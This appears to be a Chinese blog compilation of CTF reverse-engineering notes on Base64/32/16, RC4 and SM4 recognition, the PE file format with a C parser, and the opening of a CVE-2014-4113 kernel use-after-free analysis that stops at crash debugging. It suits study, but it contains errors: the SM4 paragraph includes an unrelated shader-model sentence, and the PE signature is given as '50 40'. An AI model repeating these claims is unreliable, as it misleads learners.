1 | int __cdecl base64_encode(const char *sourcedata, char *base64) |
其实辨别很简单,有很多的方法,最简单的方法就是动态调试,直接用OD或者IDA动态调试,多输入几组数据,观察加密后的字符串,存在=
这种字符串多半都有base64加密。 如果不能动态调试那就用IDA静态观察,观察索引表,观察对输入的操作,比如上面很明显的三次右移操作。
一般解密用python来实现
1 | import base64 |
在线解密网站 : https://www.qqxiuzi.cn/bianma/base.php
DDCTF2019 Reverse2
Base32编码是使用32个可打印字符(字母A-Z和数字2-7)对任意字节数据进行编码的方案,编码后的字符串不用区分大小写并排除了容易混淆的字符,可以方便地由人类使用并由计算机处理。
值 | 符号 | 值 | 符号 | 值 | 符号 | 值 | 符号 | |||
---|---|---|---|---|---|---|---|---|---|---|
0 | A | 8 | I | 16 | Q | 24 | Y | |||
1 | B | 9 | J | 17 | R | 25 | Z | |||
2 | C | 10 | K | 18 | S | 26 | 2 | |||
3 | D | 11 | L | 19 | T | 27 | 3 | |||
4 | E | 12 | M | 20 | U | 28 | 4 | |||
5 | F | 13 | N | 21 | V | 29 | 5 | |||
6 | G | 14 | O | 22 | W | 30 | 6 | |||
7 | H | 15 | P | 23 | X | 31 | 7 | |||
填充 | = |
Base32将任意字符串按照字节进行切分,并将每个字节对应的二进制值(不足8比特高位补0)串联起来,按照5比特一组进行切分,并将每组二进制值转换成十进制来对应32个可打印字符中的一个。
由于数据的二进制传输是按照8比特一组进行(即一个字节),因此Base32按5比特切分的二进制数据必须是40比特的倍数(5和8的最小公倍数)。例如输入单字节字符“%”,它对应的二进制值是“100101”,前面补两个0变成“00100101”(二进制值不足8比特的都要在高位加0直到8比特),从左侧开始按照5比特切分成两组:“00100”和“101”,后一组不足5比特,则在末尾填充0直到5比特,变成“00100”和“10100”,这两组二进制数分别转换成十进制数,通过上述表格即可找到其对应的可打印字符“E”和“U”,但是这里只用到两组共10比特,还差30比特达到40比特,按照5比特一组还需6组,则在末尾填充6个“=”。填充“=”符号的作用是方便一些程序的标准化运行,大多数情况下不添加也无关紧要,而且,在URL中使用时必须去掉“=”符号。
与Base64相比,Base32具有许多优点:
Base32也比Base16有优势:
Base32的缺点:
1 | import base64 |
在线网站 : https://www.qqxiuzi.cn/bianma/base.php
2017第二届广东省强网杯线上赛 Nonstandard
Base16编码使用16个ASCII可打印字符(数字0-9和字母A-F)对任意字节数据进行编码。Base16先获取输入字符串每个字节的二进制值(不足8比特在高位补0),然后将其串联进来,再按照4比特一组进行切分,将每组二进制数分别转换成十进制,在下述表格中找到对应的编码串接起来就是Base16编码。可以看到8比特数据按照4比特切分刚好是两组,所以Base16不可能用到填充符号“=”。
Base16编码后的数据量是原数据的两倍:1000比特数据需要250个字符(即 250*8=2000 比特)。换句话说:Base16使用两个ASCII字符去编码原数据中的一个字节数据。
值 | 编码 | 值 | 编码 |
---|---|---|---|
0 | 0 | 8 | 8 |
1 | 1 | 9 | 9 |
2 | 2 | 10 | A |
3 | 3 | 11 | B |
4 | 4 | 12 | C |
5 | 5 | 13 | D |
6 | 6 | 14 | E |
7 | 7 | 15 | F |
Base16编码是一个标准的十六进制字符串(注意是字符串而不是数值),更易被人类和计算机使用,因为它并不包含任何控制字符,以及Base64和Base32中的“=”符号。输入的非ASCII字符,使用UTF-8字符集。
1 | import base64 |
在线网站 : https://www.qqxiuzi.cn/bianma/base.php
在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。
参数 | 作用 |
---|---|
S-box(S) | 256长度的char型数组,定义为: unsigned char sBox[256] |
Key(K) | 自定义的密钥,用来打乱 S-box |
pData | 用来加密的数据 |
初始化 S (256字节的char型数组),key 是我们自定义的密钥,用来打乱 S ,i 确保 S-box 的每个元素都得到处理, j 保证 S-box 的搅乱是随机的
1 | /*初始化函数*/ |
加密过程将 S-box 和明文进行 xor 运算,得到密文,解密过程也完全相同
1 | /*加解密*/ |
下面是 C 实现的代码
1 |
|
运行结果如下
1 | C:\Users\thunder>"D:\AlgorithmTest.exe" |
上面的代码是rc4加密字符串这是一个用来加密的数据Data
,key = justfortest
,我们放入IDA观察,初始化函数如下
1 | void __cdecl rc4_init(char *s, char *key, unsigned int Len) |
加密函数如下
1 | void __cdecl rc4_crypt(char *s, char *Data, unsigned int Len) |
从IDA中可以看到有很多的 %256 操作,因为 s 盒的长度为256,所以这里很好判断,如果在CTF逆向过程中看到有多次 %256 的操作最后又有异或的话那可以考虑是否是RC4密码
python实现如下
1 | # -*- coding: utf-8 -*- |
输出如下
1 | [Running] python -u "/home/thunder/Desktop/CTF/crypt/example/rc4_example/test.py" |
在线解密网站:https://www.sojson.com/encrypt_rc4.html
SM4.0(原名SMS4.0)是中华人民共和国政府采用的一种分组密码标准,由国家密码管理局于2012年3月21日发布。相关标准为“GM/T 0002-2012《SM4分组密码算法》(原SMS4分组密码算法)”。在商用密码体系中,SM4主要用于数据加密,其算法公开,分组长度与密钥长度均为128bit,加密算法与密钥扩展算法都采用32轮非线性迭代结构,S盒为固定的8比特输入8比特输出。SM4.0中的指令长度被提升到大于64K(即64×1024)的水平,这是SM 3.0规格(渲染指令长度允许大于512)的128倍。
这里我简要介绍一下SM4算法,详细的过程可以查看参考链接,首先我们要知道SM4是一个对称加密算法,也就是说加密和解密的密钥相同,首先我们要清楚下面几个概念
SM4是分组密码,所以我们要将明文分组,将明文分成128位一组
S(Sbox)盒负责置换我们的明文
因为SM4面向的是32bit的字(word),S盒处理的是两个16进制数也就是8bit的字节,所以我们要用4个S盒来置换
轮函数F的概念如下图,以字为单位进行加密运算,称一次迭代运算为一轮变换
合成置换T就是非线性变换和线性变换的一个组合过程
了解上述一些概念之后加密解密的过程如下图
在SM4算法中,轮秘钥的产生是通过用户选择主秘钥作为基本的秘钥数据,在通过一些算法生成轮秘钥,在密钥拓展中,我们通过一些常数对用户选择的主钥进行操作,增大随机性。密钥扩展算法如下
代码出自这里
sm4.c加密解密函数的实现
1 | // sm4.c |
sm4.h头文件,mode选择加密模式
1 | /** |
测试代码
1 | // test.c |
运行结果
1 | C:\Users\thunder>"D:\AlgorithmTest.exe" |
pysm4是国密SM4算法的Python实现,这里下载
1 | from pysm4 import encrypt, decrypt |
CTF逆向可以通过判断S盒的值来猜测SM4算法,通过S盒生成4个8位的字符,我们将上面实现代码放入IDA中查看,我们可以通过输入明文密钥的格式来猜测SM4算法
1 | __int64 main() |
算法中的T变换观察返回值也有很明显的特征
1 | unsigned int __cdecl sm4F(unsigned int x0, unsigned int x1, unsigned int x2, unsigned int x3, unsigned int rk) |
2019ciscn-bbvvmm
下面的代码和上面的对比可以很容易的猜到SM4
1 | unsigned __int64 __fastcall sub_400EE2(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) |
Base
1 | http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html |
RC4
1 | https://blog.csdn.net/Fly_hps/article/details/79918495 |
SM4
1 | https://neuqzxy.github.io/2017/06/15/%E6%AC%A3%E4%BB%94%E5%B8%A6%E4%BD%A0%E9%9B%B6%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8SM4%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/ |
PE文件可以说是在逆向的各个领域都有涉及,特别是病毒领域,如果你是一名病毒制造者,那你肯定是对PE文件有详细的了解,那么这里我就详细介绍一下PE文件,最后我们用C来写一个PE格式解析器。
首先说明一个概念,可执行文件(Executable File)是指可以由操作系统直接加载执行的文件,在Windows操作系统中可执行文件就是PE文件结构,在Linux下则是ELF文件,我们这里只讨论Windows下的PE文件,要了解PE文件,首先要知道PE格式,那么什么是PE格式呢,既然是一个格式,那肯定是我们都需要遵循的定理,下面这张图就是PE文件格式的图片(来自看雪),非常大一张图片,其实PE格式就是各种结构体的结合,Windows下PE文件的各种结构体在WinNT.h这个头文件中,可以在VS中查询。
PE结构可以大致分为:
为了更加直观的描述我们用16进制编辑器直接将一个exe文件载入,分析其结构,首先我们需要清楚的概念是PE指纹,也就是判断一个文件是否是PE文件的依据,首先是根据文件的前两个字节是否为4D 5A,也就是’MZ’,然后看第四排四个字节指向的地址00 00 00 f8是否为50 45,也就是’PE’,满足这两个条件也就满足了PE文件的格式,简称PE指纹,在后面制作解析器的时候会通过它来判断是否为一个有效的PE文件。
DOS部分主要是为了兼容以前的DOS系统,DOS部分可以分为DOS MZ文件头(IMAGE_DOS_HEADER)和DOS块(DOS Stub)组成,PE文件的第一个字节位于一个传统的MS-DOS头部,称作IMAGE_DOS_HEADER,其结构如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
DOS部分我们需要熟悉的是e_magic成员和e_lfanew成员,前者是标识PE指纹的一部分,后者则是寻找PE文件头的部分,除了这两个成员,其他成员全部用0填充都不会影响程序正常运行,所以我们不需要过多的对其他部分深究,DOS部分在16进制编辑器中看就是下图的部分:
我们可以看到e_lfanew指向PE文件头,我们可以通过它来寻找PE文件头,而DOS块的部分自然就是PE文件头和DOS MZ文件头中间的部分,这部分是由链接器所写入的,可以随意进行修改,并不影响程序的运行:
PE文件头由PE文件头标志,标准PE头,扩展PE头三部分组成。PE文件头标志自然是50 40 00 00,也就是’PE’,我们从结构体的角度看一下PE文件头的详细信息1
2
3
4
5typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; //PE文件头标志 => 4字节
IMAGE_FILE_HEADER FileHeader; //标准PE头 => 20字节
IMAGE_OPTIONAL_HEADER32 OptionalHeader; //扩展PE头 => 32位下224字节(0xE0) 64位下240字节(0xF0)
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
标准PE头结构如下,有20个字节,我们可以从PE文件头标志后20个字节找到它1
2
3
4
5
6
7
8
9typedef struct _IMAGE_FILE_HEADER {
WORD Machine; //可以运行在什么平台上 任意:0 ,Intel 386以及后续:14C x64:8664
WORD NumberOfSections; //节的数量
DWORD TimeDateStamp; //编译器填写的时间戳
DWORD PointerToSymbolTable; //调试相关
DWORD NumberOfSymbols; //调试相关
WORD SizeOfOptionalHeader; //标识扩展PE头大小
WORD Characteristics; //文件属性 => 16进制转换为2进制根据哪些位有1,可以查看相关属性
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
扩展PE头在32位和64位系统上大小是不同的,在32位系统上有224个字节,16进制就是0xE0,结构如下,重要的属性我都有标注1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;//PE32: 10B PE64: 20B
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;//所有含有代码的区块的大小 编译器填入 没用(可改)
DWORD SizeOfInitializedData;//所有初始化数据区块的大小 编译器填入 没用(可改)
DWORD SizeOfUninitializedData;//所有含未初始化数据区块的大小 编译器填入 没用(可改)
DWORD AddressOfEntryPoint;//程序入口RVA
DWORD BaseOfCode;//代码区块起始RVA
DWORD BaseOfData;//数据区块起始RVA
//
// NT additional fields.
//
DWORD ImageBase;//内存镜像基址(程序默认载入基地址)
DWORD SectionAlignment; //内存中对齐大小
DWORD FileAlignment; //文件中对齐大小(提高程序运行效率)
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;//内存中整个PE文件的映射的尺寸,可比实际值大,必须是SectionAlignment的整数倍
DWORD SizeOfHeaders; //所有的头加上节表文件对齐之后的值
DWORD CheckSum;//映像校验和,一些系统.dll文件有要求,判断是否被修改
WORD Subsystem;
WORD DllCharacteristics;//文件特性,不是针对DLL文件的,16进制转换2进制可以根据属性对应的表格得到相应的属性
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; //数据目录表,结构体数组
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
程序中的扩展PE头大小在标准PE头中的显示如下图
扩展PE头在程序中显示如下,每一个属性可以通过偏移找到
还需要知道的是,程序的真正入口点 = ImageBase + AddressOfEntryPoint
节表的结构如下,整体为40个字节1
2
3
4
5
6
7
8
9
10
11
12
13
14
15typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //ASCII字符串 可自定义 只截取8个字节
union { //该节在没有对齐之前的真实尺寸,该值可以不准确
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress; //内存中的偏移地址
DWORD SizeOfRawData; //节在文件中对齐的尺寸
DWORD PointerToRawData; //节区在文件中的偏移
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics; //节的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
程序中显示如下
值得注意的是扩展PE头中的 FileAlignment 以及 SizeOfHeaders 这两个成员,SizeOfHeaders 表示所有的头加上节表文件对齐之后的值,对齐的大小参考的就是 FileAlignment 成员,如果所有的头加上节表的大小为320,FileAlignment 为 200,那么 SizeOfHeaders 大小就为 400,因为是根据FileAlignment 对齐的,这种对齐虽然牺牲了空间,但是可以提高程序运行效率,下图中的前面部分0x00100000就是程序在内存中对齐的大小,也就是程序运行起来时对齐的大小,0x00000400是程序在文件中的对齐大小,也就是没有运行时对齐的大小,需要清楚的是,PE程序在运行时内存中的对齐值和没有运行时的对齐值可能是截然不同的,了解这一点这对我们后面写PE解析器有帮助。
导出表(Import Table)和导入表是靠 IMAGE_DATA_DIRECTORY 这个结构体数组来寻找的,IMAGE_DATA_DIRECTORY 的结构如下1
2
3
4typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
在程序中查找导出表如下图所示,因为结构体数组中每一个结构体大小为 16 位,又是扩展PE头中的最后一个成员,所以我们从节表段向上推 8 行即为我们的结构体数组开头,前 8 位是导出表的内容,因为是一个exe文件,这里刚好就没有导出表只有导入表,可以看到导入表RVA地址是0x00003700的位置
导入表的结构如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA 指向 INT (PIMAGE_THUNK_DATA结构数组)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;//RVA指向dll名字,以0结尾
DWORD FirstThunk; // RVA 指向 IAT (PIMAGE_THUNK_DATA结构数组)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
可以看到,OriginalFirstThunk 和 FirstThunk 指向的内容分别是 INT 和 IAT ,但实际上 INT 和 IAT 的内容是一样的,所以他们指向的内容是一样的,只是方式不同而已,下图可以完美的解释
但是上图只是PE文件加载前的情况,PE文件一旦运行起来,就会变成下图的情况
我们还需要了解的结构体是 IMAGE_THUNK_DATA 和 IMAGE_IMPORT_BY_NAME 结构如下
1 | typedef struct _IMAGE_IMPORT_BY_NAME { |
其实他们的作用很明显,就是用来寻找当前的模块依赖哪些函数,可以用这几个结构体求到依赖函数的名字。
导出表(Export Table)一般是DLL文件用的比较多,exe文件很少有导出表,导出表的数据结构如下1
2
3
4
5
6
7
8
9
10
11
12
13typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;// 指针指向该导出表文件名字符串
DWORD Base;// 导出函数起始序号
DWORD NumberOfFunctions;// 所有导出函数的个数
DWORD NumberOfNames;// 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 指针指向导出函数地址表RVA
DWORD AddressOfNames; // 指针指向导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 指针指向导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
可以看到导出表里面最后还有三个表,这三个表可以让我们找到函数真正的地址,在编写PE格式解析器的时候可以用到,AddressOfFunctions 是函数地址表,指向每个函数真正的地址,AddressOfNames 和 AddressOfNameOrdinals 分别是函数名称表和函数序号表,我们知道DLL文件有两种调用方式,一种是用名字,一种是用序号,通过这两个表可以用来寻找函数在 AddressOfFunctions 表中真正的地址。
当PE文件被装载到虚拟内存的另一个地址中的时候,也就是载入时不将默认的值作为基地址载入,链接器登记的哪个地址是错误的,需要我们用重定位表来调整,重定位表在数据目录项的第 6 个结构,结构如下1
2
3
4
5
6typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; // 重定位数据的开始 RVA 地址
DWORD SizeOfBlock;// 重定位块的长度
// WORD TypeOffset[1];// 重定位项数组
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
重定位表有许多个,以八个字节的 0 结尾
这里放一个由C写的简易的PE分析工具,写的比较简单,主要是为了熟悉PE结构,代码我也传到了GitHub上面,需要的可以自行下载。
https://github.com/ThunderJie/Code/tree/master/PE1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
DWORD RVAOffset(PIMAGE_NT_HEADERS pNtHeader, DWORD Rva)
{
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
DWORD SectionBeginRva = pSectionHeader[i].VirtualAddress;
DWORD SectionEndRva = pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData;
if (Rva >= SectionBeginRva && Rva <= SectionEndRva)
{
DWORD Temp = Rva - SectionBeginRva;
DWORD Rwa = Temp + pSectionHeader[i].PointerToRawData;
return Rwa;
}
}
}
int main(int argc, char* argv[])
{
HANDLE hFile;
HANDLE hMapping;
LPVOID ImageBase;
char szFilePath[MAX_PATH];
OPENFILENAME ofn;//定义结构,调用打开对话框选择要分析的文件及其保存路径
PIMAGE_DOS_HEADER pDH = NULL;//指向IMAGE_DOS结构的指针
PIMAGE_NT_HEADERS pNtH = NULL;//指向IMAGE_NT结构的指针
PIMAGE_FILE_HEADER pFH = NULL;//指向IMAGE_FILE结构的指针
PIMAGE_OPTIONAL_HEADER pOH = NULL;//指向IMAGE_OPTIONALE结构的指针
memset(szFilePath, 0, MAX_PATH);
memset(&ofn, 0, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = NULL;
ofn.hInstance = GetModuleHandle(NULL);
ofn.nMaxFile = MAX_PATH;
ofn.lpstrInitialDir = ".";
ofn.lpstrFile = szFilePath;
ofn.lpstrTitle = "choose a PE file --by Thunder_J";
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
ofn.lpstrFilter = "*.*\0*.*\0";
if (!GetOpenFileName(&ofn))
{
printf("打开文件错误:%d\n", GetLastError());
return 0;
}
hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (!hFile)
{
MessageBox(NULL, "打开文件错误", NULL, MB_OK);
return 0;
}
hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping)
{
printf("创建映射错误:%d", GetLastError());
CloseHandle(hFile);
return 0;
}
ImageBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!ImageBase)
{
printf("文件映射错误:%d", GetLastError());
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
/************************************************************************/
/* PE头的判断 */
/************************************************************************/
if (!ImageBase) //判断映像地址
{
printf("Not a valid PE file 1!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
printf("--------------------PEheader------------------------\n");
pDH = (PIMAGE_DOS_HEADER)ImageBase;
if (pDH->e_magic!=IMAGE_DOS_SIGNATURE) //判断是否为MZ
{
printf("Not a valid PE file 2!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
pNtH = (PIMAGE_NT_HEADERS)((DWORD)pDH + pDH->e_lfanew); //判断是否为PE格式
if (pNtH->Signature!=IMAGE_NT_SIGNATURE)
{
printf("Not a valid PE file 3!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
printf("PE e_lfanew is: 0x%x\n", pNtH);
/************************************************************************/
/* FileHeader */
/************************************************************************/
pFH = &pNtH->FileHeader;
printf("-----------------FileHeader------------------------\n");
printf("NumberOfSections: %d\n", pFH->NumberOfSections);
printf("SizeOfOptionalHeader: %d\n", pFH->SizeOfOptionalHeader);
/************************************************************************/
/* OptionalHeader */
/************************************************************************/
pOH = &pNtH->OptionalHeader;
printf("-----------------OptionalHeader---------------------\n");
printf("SizeOfCode:0x%08x\n", pOH->SizeOfCode);
printf("AddressOfEntryPoint: 0x%08X\n", pOH->AddressOfEntryPoint);
printf("ImageBase is 0x%x\n", ImageBase);
printf("SectionAlignment: 0x%08x\n", pOH->SectionAlignment);
printf("FileAlignment: 0x%08x\n", pOH->FileAlignment);
printf("SizeOfImage: 0x%08x\n", pOH->SizeOfImage);
printf("SizeOfHeaders: 0x%08x\n", pOH->SizeOfHeaders);
printf("NumberOfRvaAndSizes: 0x%08x\n", pOH->NumberOfRvaAndSizes);
/************************************************************************/
/* SectionTable */
/************************************************************************/
int SectionNumber = 0;
DWORD SectionHeaderOffset = (DWORD)pNtH + 24 + (DWORD)pFH->SizeOfOptionalHeader; //节表位置的计算
printf("--------------------SectionTable---------------------\n");
for (SectionNumber; SectionNumber < pFH->NumberOfSections;SectionNumber++)
{
PIMAGE_SECTION_HEADER pSh = (PIMAGE_SECTION_HEADER)(SectionHeaderOffset + 40 * SectionNumber);
printf("%d 's Name is %s\n", SectionNumber + 1, pSh->Name);
printf("VirtualAddress: 0x%08X\n", (DWORD)pSh->VirtualAddress);
printf("SizeOfRawData: 0x%08X\n", (DWORD)pSh->SizeOfRawData);
printf("PointerToRawData: 0x%08X\n", (DWORD)pSh->PointerToRawData);
}
/************************************************************************/
/* ExportTable */
/************************************************************************/
printf("--------------------ExportTable----------------------\n");
DWORD Export_table_offset = RVAOffset(pNtH, (DWORD)pNtH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)ImageBase + Export_table_offset);
DWORD EXport_table_offset_Name = (DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->Name);
DWORD * pNameOfAddress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfNames));
DWORD * pFunctionOfAdress = (DWORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfFunctions));
WORD * pNameOrdinalOfAddress = (WORD *)((DWORD)ImageBase + RVAOffset(pNtH, pExportDirectory->AddressOfNameOrdinals));
printf("Name:%s\n", EXport_table_offset_Name);
printf("NameOfAddress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfNames));
printf("FunctionOfAdress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfFunctions));
printf("NameOrdinalOfAddress:%08X\n", RVAOffset(pNtH, pExportDirectory->AddressOfNameOrdinals));
if (pExportDirectory->NumberOfFunctions == 0)
{
puts("!!!!!!!!!!!!!!!!!NO EXPORT!!!!!!!!!!!!!!!!!!!!!");
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
if (hMapping != NULL)
{
CloseHandle(hMapping);
}
if (ImageBase != NULL)
{
UnmapViewOfFile(ImageBase);
}
}
printf("NumberOfNames:%d\n", pExportDirectory->NumberOfNames);
printf("NumberOfFunctions:%d\n", pExportDirectory->NumberOfFunctions);
/************************************************************************/
/* ImportTable */
/************************************************************************/
printf("--------------------ImportTable----------------------\n");
int cont = 0;
do
{
DWORD dwImportOffset = RVAOffset(pNtH, pNtH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
dwImportOffset = dwImportOffset + cont;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + dwImportOffset);
if (pImport->OriginalFirstThunk == 0 && pImport->TimeDateStamp == 0 && pImport->ForwarderChain == 0 && pImport->Name == 0 && pImport->FirstThunk == 0)
break;
DWORD dwOriginalFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport->OriginalFirstThunk);
DWORD dwFirstThunk = (DWORD)ImageBase + RVAOffset(pNtH, pImport->FirstThunk);
DWORD dwName = (DWORD)ImageBase + RVAOffset(pNtH, pImport->Name);
printf("---------Import File Name: %s\n", dwName);
if (dwOriginalFirstThunk == 0x00000000)
{
dwOriginalFirstThunk = dwFirstThunk;
}
DWORD* pdwTrunkData = (DWORD*)dwOriginalFirstThunk;
int n = 0, x = 0;
while (pdwTrunkData[n] != 0)
{
DWORD TrunkData = pdwTrunkData[n];
if (TrunkData < IMAGE_ORDINAL_FLAG32)//名字导入
{
PIMAGE_IMPORT_BY_NAME pInportByName = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + RVAOffset(pNtH, TrunkData));
printf("ImportByName: %s\n", pInportByName->Name);
}
else
{
DWORD FunNumber = (DWORD)(TrunkData - IMAGE_ORDINAL_FLAG32);
printf("ImportByNumber: %-4d \n", FunNumber);
}
if (x != 0 && x % 3 == 0) printf("\n");
n++;
x++;
}
cont = cont + 40;
} while (1);
{
if (ImageBase)
{
UnmapViewOfFile(ImageBase);
}
if (hMapping)
{
CloseHandle(hMapping);
}
if (hFile != INVALID_HANDLE_VALUE)
{
CloseHandle(hFile);
}
return 0;
}
}
节表以及之前信息
导出表
导入表
这个PE解析器虽然简单,但是自己写了之后对PE的理解和之前截然不同,后续可以对这个解析器进行各种优化,判断是否有壳之类的功能可以添加上去。
CVE-2014-4113是一个非常经典的内核漏洞,本片文章从Poc触发,分析如何构造Exploit,Poc的下载在文末的链接之中,实验平台是Windows 7 x86 sp1本次漏洞是一个释放后重用的漏洞,深入了解这个漏洞对内核的一些利用方法会有不一样的收获
我们假装不知道Poc源码,运行Poc进行栈回溯观察
1 | 0: kd> g |
查看此时的 esi 情况,发现 esi 此时为 fffffffb,esi+8 处并没有映射内存
1 | 2: kd> r |
我们在IDA里查看函数信息寻找一下这个 fffffffb 是如何产生的,首先找到崩溃点的位置从内向外开始分析,这里可以发现 esi 也就是我们的第一个参数 P
1 | int __stdcall xxxSendMessageTimeout(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src, unsigned int HighLimit, unsigned int LowLimit, int a7, PVOID Entry) |
我们继续追溯到 xxxSendMessage
函数
1 | unsigned int __stdcall xxxSendMessage(PVOID P, CHAR MbString, WCHAR UnicodeString, void *Src) |
继续往回追溯,我们只关注关键的代码,发现我们的第一个参数来自于xxxMNFindWindowFromPoint
1 | int __stdcall xxxHandleMenuMessages(int a1, int a2, WCHAR UnicodeString) |
我们来观察一下这个函数的返回值,我们的 esi 最后出问题的值就是 fffffffb(-5) 也就是说这个函数返回的是 fffffffb,我们在v5判断的下一句下断点我们可以得到这里的返回值来自xxxSendMessage
